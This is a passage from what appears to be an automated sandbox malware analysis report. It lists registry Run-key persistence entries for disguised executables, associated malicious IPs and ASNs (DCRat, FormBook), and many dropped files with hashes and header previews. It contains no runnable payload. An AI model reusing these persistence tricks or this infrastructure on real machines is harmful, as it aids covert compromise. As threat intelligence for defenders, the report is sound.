14:38:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SSblKNNQege "C:\Windows\security\database\SSblKNNQege.exe"
14:38:58	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Users\Default\Pictures\RuntimeBroker.exe"
14:39:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run OfficeClickToRun "C:\Windows\Cursors\OfficeClickToRun.exe"
14:39:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run runtimesvc "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe"
14:39:24	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run SSblKNNQege "C:\Windows\security\database\SSblKNNQege.exe"
14:39:32	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Users\Default\Pictures\RuntimeBroker.exe"
14:39:40	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run OfficeClickToRun "C:\Windows\Cursors\OfficeClickToRun.exe"
14:39:49	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run runtimesvc "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.37.62.158	Wave.exe	Get hash	malicious	Discord Token Stealer, Orcus, SugarDump	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HOSTLANDRU	9vt8NMgLXF.exe	Get hash	malicious	FormBook	Browse	185.26.122.70
	TEKL#U0130F #U0130ST.exe	Get hash	malicious	FormBook	Browse	185.26.122.70
	hbwebdownload - MT 103.exe	Get hash	malicious	FormBook	Browse	185.26.122.70
	docs.exe	Get hash	malicious	FormBook	Browse	185.26.122.70
	Dekont.exe	Get hash	malicious	FormBook	Browse	185.26.122.70
	Wave.exe	Get hash	malicious	Discord Token Stealer, Orcus, SugarDump	Browse	185.37.62.158
	DFpUKTL6kg.exe	Get hash	malicious	DCRat	Browse	185.26.122.81
	http://mydpd.space/	Get hash	malicious	DCRat, PureLog Stealer	Browse	185.26.122.30
	HEUR-Backdoor.MSIL.LightStone.gen-6974f159cb6.exe	Get hash	malicious	DCRat	Browse	185.26.122.79
	yk2Eh24FDd.exe	Get hash	malicious	Unknown	Browse	185.26.122.81

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Program Files (x86)\MSBuild\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1383424
Entropy (8bit):	7.10154063680082
Encrypted:	false
SSDEEP:	24576:CwTyrxj57zKlIDSDZwPcd9Gm6M1e8QyDVeJl7CQC3fZeru6hSCj:DTyr7ulSPsGq3xVeJNFsZeru6hS
MD5:	52C95032FF8B8C3D4DFD98E51D8F6F58
SHA1:	E841A32CB07ADAAD4DB35B1F87B5DF6E019EB9AF
SHA-256:	39B35293E7EFAA4CB94028E59872013BEF4065788FEF9FE3CD3206A8AEE711E4
SHA-512:	A1177740FFBB476FB11F8112D98CABE3012EE3D54F2F848BB22EA99B53BD3526BF59065951FB6EF29F29408AB2FD90C942DE65FE16D66A098ABCE8BA5D7D4E00
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\MSBuild\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	194
Entropy (8bit):	5.635413457486011
Encrypted:	false
SSDEEP:	6:CcmWVoklcyshDQZNFoSuP/ISxmXdBQdVg2c:uOsG/oSuHPxeXN
MD5:	40B950A8C7A0C414B991C98695EAAB22
SHA1:	C5CA20700BEE380E34BE92B0D8AFC47E1D752208
SHA-256:	7199F75646FFE33A03E6A5970BFD351213B0D33CE0582F282D9CF3DC3457B4F7
SHA-512:	59FB67A93EBB0B73617ED9BF98C823BEE8DCA66DBACF26007EA09C02DCFED87D20303A9F7538969A900D817341CE8A204B33F0FFC811740E62551D6F469CD0DD
Malicious:	false
Preview:	u2yd5tsptkWBxsiMqNsep615yWIDpGafd7XZ6I9gknrFHbzQIDaAV7fyA2ojlo9mJ1i0UIQhNL4CPwyXh15lqaJfbjZDea55nE5Q3969x2wKDdjOEQCttX5tsCYutMDxQ8YK0ieh55yxo9b89K8NYLMQIMi0kLQky93EEZXfweyxjIFskZviO0YEwIBoAn6toN

C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	569844
Entropy (8bit):	7.487969174812562
Encrypted:	false
SSDEEP:	12288:7GBfAoq+6b7AaSxWtkmtoIg132s/q3DMJGk58qgd/t:7mApDuWAt2F3xwk9t
MD5:	00C4245522082B7F87721F9A26E96BA4
SHA1:	993A8AA88436B6C62B74BB399C09B8D45D9FB85B
SHA-256:	A728F531427D89C5B7691F989E886DF57D46F90D934448E6DABF29D64D0662BF
SHA-512:	FDD8D2444B28883FACE793F6EA77913C2096A425E6101202536EA001C3DF5E76A60A01673EE7A52EAE827A12299B2727002895395315DB190EC82AE11A68559F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ@.....................................!..L.!It's .NET EXE$@...PE..L....&.M............................^.... ...@....@.. ....................................@.....................................O....@.. ....................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B...........................................................................v2.19@.......H.......d&...............................................................0............%..,....i-....+...........%..,....i-.....+...................XGR......8.........%.X.XG..........-.....c.........XG.b.X.......8....... ...._ .............:]........XJ..........-....c....X... ...._... .............-@....c....._..........-....X... ...._ ....X....a...+....._.X...+}....c....._....E............%...;...+V...?_.X..+K..X... ...._.AX....a..+3.. .?.._ A...X....X.+....XX... ...._ AD..X.

C:\Program Files (x86)\MSECache\OfficeKMS\win8\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	ASCII text, with very long lines (747), with no line terminators
Category:	dropped
Size (bytes):	747
Entropy (8bit):	5.9037999471155995
Encrypted:	false
SSDEEP:	12:OlNQoOG6oYNKjYqGWmpdnt9KWfgJDpJM1UJP4wpSrQ0/qDr7NRXmCNpWJ:ODQTG50KMqipht9Kkg2mJPvpSrQVDnXS
MD5:	3779F3CF281717164D157EDF6B471228
SHA1:	4DEF3DE1BA47EC1A73202DFFAB8461A833F703C6
SHA-256:	4C5FB14133ACFE60D9B92ABD191ECB883A4BB01CAAC8D42B5FBE7D97C483645C
SHA-512:	BD7EBB6011C426D75BC43D0B846250A66A51AF5BFFE9691424D33D7F3876B86D794890FC08471FACCDCFE7642967843BCF3CF4404B1F4B35A865A88EF295DB32
Malicious:	false
Preview:	QkIAkhJPg1hHqPzxx9ouLN2B5FFApL6QOTSTxK4joanziMVdeMrTJojDrGFecJjU5Q3X6f9mFFGukCdsumgdemHktPlqEZGf1S4RT8g8MENDhydpnWu0nF0SISnr4Shp9l2RILZwFhRZZDD5w6CspP2vcmJAUyD3giE55Mhc78uFyb3FPs58QzAttGygCYbRdX209H9kZkurew7AsDvm3FnriUMzXBajgdlajCFHtVjqFSP6Jyx8myXYuLSo5KMYJLKALhbq7n3if7lPFPqjNb6rGNpXubMjILg3IOvlWGA85z2xjDjpenKrOc471E6gaUaUbsH0eEMGb7wQU2yr1hEeByppUxtSKdhlZhW15tKZbDQQqnn9PPo3P6TmCbfrU467ZL1xf7vIXpD7hY9qKtC5yoVcOtyeOdEgGS1fw0eSegfk2VEocyhl1AIvzYivIQ44kg1Phd4UPubSIvk2oJBZ5doGJFpXRsJNml9WezH84NVHj0mDypH9Oe8G1uFbxhCgkOphwNYzCDfsHhhTdmillK8Hn2ettpKWKzhUKFRlRR7L9P9UNw8L8b5aPi33toFW2IiSAMIXU7TTNwIX3Jf7r8Xs4GEmLY1mMkT1qqUBnk1BHlNdag9jIHo3uzY3HgM5FrHmdRqNzeUHHWlT3lMpYSdF6ZG1Sb4HY55adk9JzwuoxhwYOF9fTghxNCqEKz4XkNtLbLzSlD0mizRYmsnNbYx1YINb458A1WEjyl6

C:\Program Files (x86)\Microsoft Office\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1383424
Entropy (8bit):	7.10154063680082
Encrypted:	false
SSDEEP:	24576:CwTyrxj57zKlIDSDZwPcd9Gm6M1e8QyDVeJl7CQC3fZeru6hSCj:DTyr7ulSPsGq3xVeJNFsZeru6hS
MD5:	52C95032FF8B8C3D4DFD98E51D8F6F58
SHA1:	E841A32CB07ADAAD4DB35B1F87B5DF6E019EB9AF
SHA-256:	39B35293E7EFAA4CB94028E59872013BEF4065788FEF9FE3CD3206A8AEE711E4
SHA-512:	A1177740FFBB476FB11F8112D98CABE3012EE3D54F2F848BB22EA99B53BD3526BF59065951FB6EF29F29408AB2FD90C942DE65FE16D66A098ABCE8BA5D7D4E00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	ASCII text, with very long lines (731), with no line terminators
Category:	dropped
Size (bytes):	731
Entropy (8bit):	5.8885730358590855
Encrypted:	false
SSDEEP:	12:JUHNX/IzSNSW4bwy78Sf9bqF436BxOT7JU/Q++5K/OVXVqIOK3icxfJw:Cg1W0wy7Hfp6O6B8T2L67OwfO
MD5:	13716B93ED89C117C7AEFED59CA1CB44
SHA1:	C3BDCD317752662878FF3208FBF055BEF00CA5C6
SHA-256:	DDB950FE67B4DDD699924FF8A41B18DC62A321706DF31D17DDA426E1168F4EB5
SHA-512:	F1B6232CC98F9633CA40E477E23DA4176332B6A56FD80C54BD0D6073B1C6C9A1520609565EE3EB624A91E14C72AAD0F16CE804A00C724A31ED3E1F65C293127E
Malicious:	false
Preview:	WYhbwt4pQtYSOyPKHWQrnTpKqznq7bHeQeXTPIChMtOiMhTYt3S9wmGCsWv7GOrym3Bta548Ute3FH7IfP6DJHsoYVk2XEa7BZ6Tgj7x8TpDHM6lYmb0RopeLXVFVBlPSg2pKom5SJEzcpgMY8eumkqXucIIO1b7saulTRauAfiIj0Bf0IqWh0ms0e4sgdrarHGC452HhuuHBix4amRFKEZ2xCuyWsNgyIabt9l5QjzxGfqSr9R3LlPmsOO1KDuzgNS2HWLbBWzlPmvSWcHWaTVN2xtfvtuNzAQ3NxKVy02zwoXGc5fs5YYN1E9UmqqSllvPV1FiRwhkbgbOanCzOCSblDBIy0sIKkNK2Hul07bI0xwVnv38n1EjTUnR06taEZa0TQWS2b8QlJkyRqeC6teTgn1hdcv3NAEaX5CWZlFM2x8JtzAJbreU4HUqZyyZqEDkFKaWnInVoSatorxoclbgfugQlW7kwpgytXEjYogTDIqmqkBrAK7FmhFVnKuRKDj8vm9QnNPyFHdXE4jAUPjlsbLMSt6N3OJ9jr0ElvEx5I9eErRtlt74d7PTax73RB408dyWDeZiLwqjbqIlcMmJRPglcgoyyKf3OJgl34qHUYtqRq2uoWbFZvit6N4g0luARwVSJhrhgfz3fzTvo4JbsaeckxoqAJRsnsZfUkkHo4i35pNH3I15cTR1S2rW3AgWOGQxaybEUBwy1kh5kgw2SVQ

C:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1168
Entropy (8bit):	4.448520842480604
Encrypted:	false
SSDEEP:	24:mZxT0uZhNB+h9PNnqNdt4+lEbNFjMyi07:yuulB+hnqTSfbNtme
MD5:	B5189FB271BE514BEC128E0D0809C04E
SHA1:	5DD625D27ED30FCA234EC097AD66F6C13A7EDCBE
SHA-256:	E1984BA1E3FF8B071F7A320A6F1F18E1D5F4F337D31DC30D5BDFB021DF39060F
SHA-512:	F0FCB8F97279579BEB59F58EA89527EE0D86A64C9DE28300F14460BEC6C32DDA72F0E6466573B6654A1E992421D6FE81AE7CCE50F27059F54CF9FDCA6953602E
Malicious:	false
Preview:	.... ...........................D...<...............0...........D.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...8.....I.n.t.e.r.n.a.l.N.a.m.e...m.s.e.d.g.e...e.x.e.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...@.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...m.s.e.d.g.e...e.x.e.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <security>.. <requestedPrivileges xmlns="urn:schemas-micro

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.895894453645735
Encrypted:	false
SSDEEP:	48:6SmZt5xZ8RxeOAkFJOcV4MKe28dFXlvqBHjuulB+hnqXSfbNtm:EmxvxVx9lVvkVTkZzNt
MD5:	27AD647A093741228E7D299DC5C7477D
SHA1:	F8BF50A4839372DC0B4E36466B20996CE4983C2F
SHA-256:	5298F153575C2D4B14F06C47AA6D0E2AFFC96934B3F5CA20658A8ED63CA4BFD1
SHA-512:	3A813F0F30C2C01591D1A61A22108EDE271EEE8008E3637826FC5BB259D6463157BA50E21552EFBB46613B0AD80F97B51315B401995ABE0809CE2501E6CFEF32
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5..g.............................'... ...@....@.. ....................................@.................................H'..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!.. .............................................................(.....0..!.......r...pr...p.{....(....(....&..&......................0..........r...p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings............#US.........#GUID....... ...#Blob...........WU........%3................................................................

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1383424
Entropy (8bit):	7.10154063680082
Encrypted:	false
SSDEEP:	24576:CwTyrxj57zKlIDSDZwPcd9Gm6M1e8QyDVeJl7CQC3fZeru6hSCj:DTyr7ulSPsGq3xVeJNFsZeru6hS
MD5:	52C95032FF8B8C3D4DFD98E51D8F6F58
SHA1:	E841A32CB07ADAAD4DB35B1F87B5DF6E019EB9AF
SHA-256:	39B35293E7EFAA4CB94028E59872013BEF4065788FEF9FE3CD3206A8AEE711E4
SHA-512:	A1177740FFBB476FB11F8112D98CABE3012EE3D54F2F848BB22EA99B53BD3526BF59065951FB6EF29F29408AB2FD90C942DE65FE16D66A098ABCE8BA5D7D4E00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.776556088797463
Encrypted:	false
SSDEEP:	6:Lex5QMxLTkcGFWa7haofNZV2c4hYhdFrWSKNvP7kQQis9UQ:jgAc5Sbfr7hjWPAlTJ
MD5:	F9008B45C83258287E7A76C91A9AE3B4
SHA1:	9D556D38E499694B3EFE14D4C47C11232B0FC186
SHA-256:	3464E82C48A6C83C357FC0FB761A373D35AD1D6061CBB48C1EA7DAC8A2A35995
SHA-512:	E514CF5D8682EA665C71A0EFA0D0A7CD2E2B7F06E1332A3BF6013B3E679A2EE9E57DDAC6F299057B75DFB0D7808B2FECEED135F0F15A3133675E83FEEAADEA61
Malicious:	false
Preview:	Uuc0jyuzx9zgeFRZ2XqwutjvTquYIqLWNH1Dbzoyi445rhrROxzIYbflLrh2EWrHxcTWOO8Ds1NzynDv9cKU0D8vmQ2tRwuMNxHPOVC9zwZhNpwhov3lLWQudhu8WOv6HBmBfyhoaKeDnbi7dVFg3IA0gXvqkEnlAdZLCuBzNPLA2NHC9xeAIPC9BweID1DWh3CJBW4tUQSo7A8TQsrxjmcvbaKQQ2wWLzd8K7Am2vq26YBAyK1UJPw4bRslMocbd5

C:\Program Files\Microsoft\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	569844
Entropy (8bit):	7.487969174812562
Encrypted:	false
SSDEEP:	12288:7GBfAoq+6b7AaSxWtkmtoIg132s/q3DMJGk58qgd/t:7mApDuWAt2F3xwk9t
MD5:	00C4245522082B7F87721F9A26E96BA4
SHA1:	993A8AA88436B6C62B74BB399C09B8D45D9FB85B
SHA-256:	A728F531427D89C5B7691F989E886DF57D46F90D934448E6DABF29D64D0662BF
SHA-512:	FDD8D2444B28883FACE793F6EA77913C2096A425E6101202536EA001C3DF5E76A60A01673EE7A52EAE827A12299B2727002895395315DB190EC82AE11A68559F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ@.....................................!..L.!It's .NET EXE$@...PE..L....&.M............................^.... ...@....@.. ....................................@.....................................O....@.. ....................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B...........................................................................v2.19@.......H.......d&...............................................................0............%..,....i-....+...........%..,....i-.....+...................XGR......8.........%.X.XG..........-.....c.........XG.b.X.......8....... ...._ .............:]........XJ..........-....c....X... ...._... .............-@....c....._..........-....X... ...._ ....X....a...+....._.X...+}....c....._....E............%...;...+V...?_.X..+K..X... ...._.AX....a..+3.. .?.._ A...X....X.+....XX... ...._ AD..X.

C:\Program Files\Microsoft\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	91
Entropy (8bit):	5.330228535846263
Encrypted:	false
SSDEEP:	3:cqFQYrSfiw0tQO/HlyPXS6PnRp:cGQYrxw0vyPXZPRp
MD5:	2497464EF06996418B6F6252144EB11E
SHA1:	32C58986BAE49B76DF568818A9D752CA6817351D
SHA-256:	344CD43A83F3920DD7E41DC827645A2F20B1B7FE48103B056BB77C31DA179D0C
SHA-512:	7169FB03AAF8CF270795478315ECFBC0F4E61E47F58FF195BF6647B46682BF37C4AF05B1744EEF9C0604B83AEFB26824F86B537E6E1C47D917750E3B214338DC
Malicious:	false
Preview:	CPm69CCiMXeZ9ldKxLHKiUp8qKzZL4B5rp4neXcFfAwUe7dPBCUABCgsknPyMnWSWjrTqzpasCphhVetrkXJjB4pIMD

C:\Program Files\Windows Portable Devices\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1383424
Entropy (8bit):	7.10154063680082
Encrypted:	false
SSDEEP:	24576:CwTyrxj57zKlIDSDZwPcd9Gm6M1e8QyDVeJl7CQC3fZeru6hSCj:DTyr7ulSPsGq3xVeJNFsZeru6hS
MD5:	52C95032FF8B8C3D4DFD98E51D8F6F58
SHA1:	E841A32CB07ADAAD4DB35B1F87B5DF6E019EB9AF
SHA-256:	39B35293E7EFAA4CB94028E59872013BEF4065788FEF9FE3CD3206A8AEE711E4
SHA-512:	A1177740FFBB476FB11F8112D98CABE3012EE3D54F2F848BB22EA99B53BD3526BF59065951FB6EF29F29408AB2FD90C942DE65FE16D66A098ABCE8BA5D7D4E00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Windows Portable Devices\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	ASCII text, with very long lines (576), with no line terminators
Category:	dropped
Size (bytes):	576
Entropy (8bit):	5.89646583755895
Encrypted:	false
SSDEEP:	12:IxN6fqFJfLSQeweI3j+wD2r7rKgl/KzGYoCq+8mrtEYT5i3o3:LfqFJjSmP+drSgqnqy5uo3
MD5:	291D3C70935F9841BEF0115E7F730697
SHA1:	ED47B652A9844673E86D85B3B3CD315A08389ECE
SHA-256:	38B85BD5FB066FE9C6E1B6CC5AE2C54A66C280579CA91AEB9540E11D79B055FE
SHA-512:	49FBAC8509B02952C59A177F707F4E8A9845C6765438DAB728122F8B7C34C9358EA18CF2683F2551B17936EBA2E748C24C59243C09DF3DB49C92C27D1195E66E
Malicious:	false
Preview:	yDYJcFBcM5Cig3PZaOSPYA53dyBjlEU882coMCLXaBsgF8cPCToqfqKxHepoDc0IlEkoakMXC5zXRYyfVvgSZncRrohrWhT7Lk5AYxzbGQok1xfsqKSR5hs7lS7wDeBel1LrdxHh6EMJ92a3IyBMPCCo28ZF0CYlPK8AmyP2CuU1Uj8s2DnPdzOjzgzeYBr3pk3y4aRUiIJerKTSAqNwZJHZ5YKF9veBDbMtpJycwTqVqu2pNgesy4egce2fPMVxnIaP8jn01uAGcwtLgf2cQwMJ6pRLRSMk83riTmqn3o0D4YDquq9tU2g15RTSSbjjiaHjFL23yOim5IPimkbkTcQFWzmBTYUbFRfdQdliyG4FT46wCuqsA8PFJCNPi0ka3HhonvSI92vNhKvb3z9irmaGBaTOQVA7feLMXRJRcitINCh9QvWt1BsQqbmMbD1n2yrD8jElprGJ3S282U7f9QFev5f6p60YqFQZVdArquDK5jXYinTGGWnlsMSDDI6s1rdxBdnZTQyPN5jMhHXBntSTcpqIL7niyUSNFjWEA4wzhYYwnGf5u4FIYJVWweNW

C:\ProgramData\WindowsHolographicDevices\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1383424
Entropy (8bit):	7.10154063680082
Encrypted:	false
SSDEEP:	24576:CwTyrxj57zKlIDSDZwPcd9Gm6M1e8QyDVeJl7CQC3fZeru6hSCj:DTyr7ulSPsGq3xVeJNFsZeru6hS
MD5:	52C95032FF8B8C3D4DFD98E51D8F6F58
SHA1:	E841A32CB07ADAAD4DB35B1F87B5DF6E019EB9AF
SHA-256:	39B35293E7EFAA4CB94028E59872013BEF4065788FEF9FE3CD3206A8AEE711E4
SHA-512:	A1177740FFBB476FB11F8112D98CABE3012EE3D54F2F848BB22EA99B53BD3526BF59065951FB6EF29F29408AB2FD90C942DE65FE16D66A098ABCE8BA5D7D4E00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\WindowsHolographicDevices\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	ASCII text, with very long lines (756), with no line terminators
Category:	dropped
Size (bytes):	756
Entropy (8bit):	5.914226149852968
Encrypted:	false
SSDEEP:	12:o98LsiQhGw7czVqfkYx7XqOnFJkr8wvcqiREu84fMtWCYjdLlAYmxZ+XK9s2agFt:s8QKhGk0Jhv3RA4vCYh5Ju95agP
MD5:	AA62D04C3BC4A439B2AE2109A256A3C8
SHA1:	834643D9932AF4AE859006F34285EE3083EE0E48
SHA-256:	8A31638ACBDF0A24114352CC9EB8C80498F4CD25B5BD11FAD493D79B99677FCF
SHA-512:	30C426A3C095127076920AC1C01353A63899EC99C8B71E3FF5AD3E9484025749E788B717F6D47A985204D8A17DF2D90228F86F1ABF3E1D04C5D7A7237A421E7D
Malicious:	false
Preview:	TAs6cvER4fFbrx3OKy6OARgrZMR7fJSAgLb4XL6XQF29I55cgncgKuuBeAgQeHvvME4gW9092i75ZhieRya1qwzwaZaWop3JTHwDAYGhwdnmxym6cC8pq4FaPIF6jeVNoxmSvee3s2EMIN9mxd4lrOdYBVy1SK8SIa79MUL7hF7xz2RBJdJFjtfaUNQaqmki4vEsQ9acS6EmQpjJDxsyA3sZ4ho8DvR5eZ3EyjvJDqwmp3JooGW33vhACoytUbYhpIH1weUeCjvUGGuAXAU6YXCs12BJuBymRP7gvR2Jw20UAN464xVUGbIRGZA3dLtAuJC0INOGHLKfgrro7EP7qefzGpaWR8pkJ0j0LDxqiPN4RmuYrV5Y5wTQnMtdx2yIfkWqI0d4RjYbRkid4Bo5CRpXhTN8TU2qaEZqQEQ02BHWX29DoQjwN2GO49Iynek7qrAML1NzuyCAJS9pTKUDuGch8KwR5bMXbKqq1w1wCtBZ0FFl9dfdKgMjOcOBF53Tlpj9mTxhShAAFDr2FKRc6tM48HbYh0rG0rxKfF9qq7KnfLdLvV54obW2coBf1Z9c04KYPgX9Llv8ijZwnQnL4wcYU5s1EdyR8swlBF5O86tDpYU2PO1lvxiEbvDTyg4rweAzwxviVZN7CZt6l0l0mNfKJsKPBlZcBCQKXeFbdSPWkkBBCGs84EFi80qEnfgt9u5AIijHuKWT7JjjqIN53bi76sMhxBy7wgWzoB2dhkNtrwkzQGYe

C:\Recovery\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1383424
Entropy (8bit):	7.10154063680082
Encrypted:	false
SSDEEP:	24576:CwTyrxj57zKlIDSDZwPcd9Gm6M1e8QyDVeJl7CQC3fZeru6hSCj:DTyr7ulSPsGq3xVeJNFsZeru6hS
MD5:	52C95032FF8B8C3D4DFD98E51D8F6F58
SHA1:	E841A32CB07ADAAD4DB35B1F87B5DF6E019EB9AF
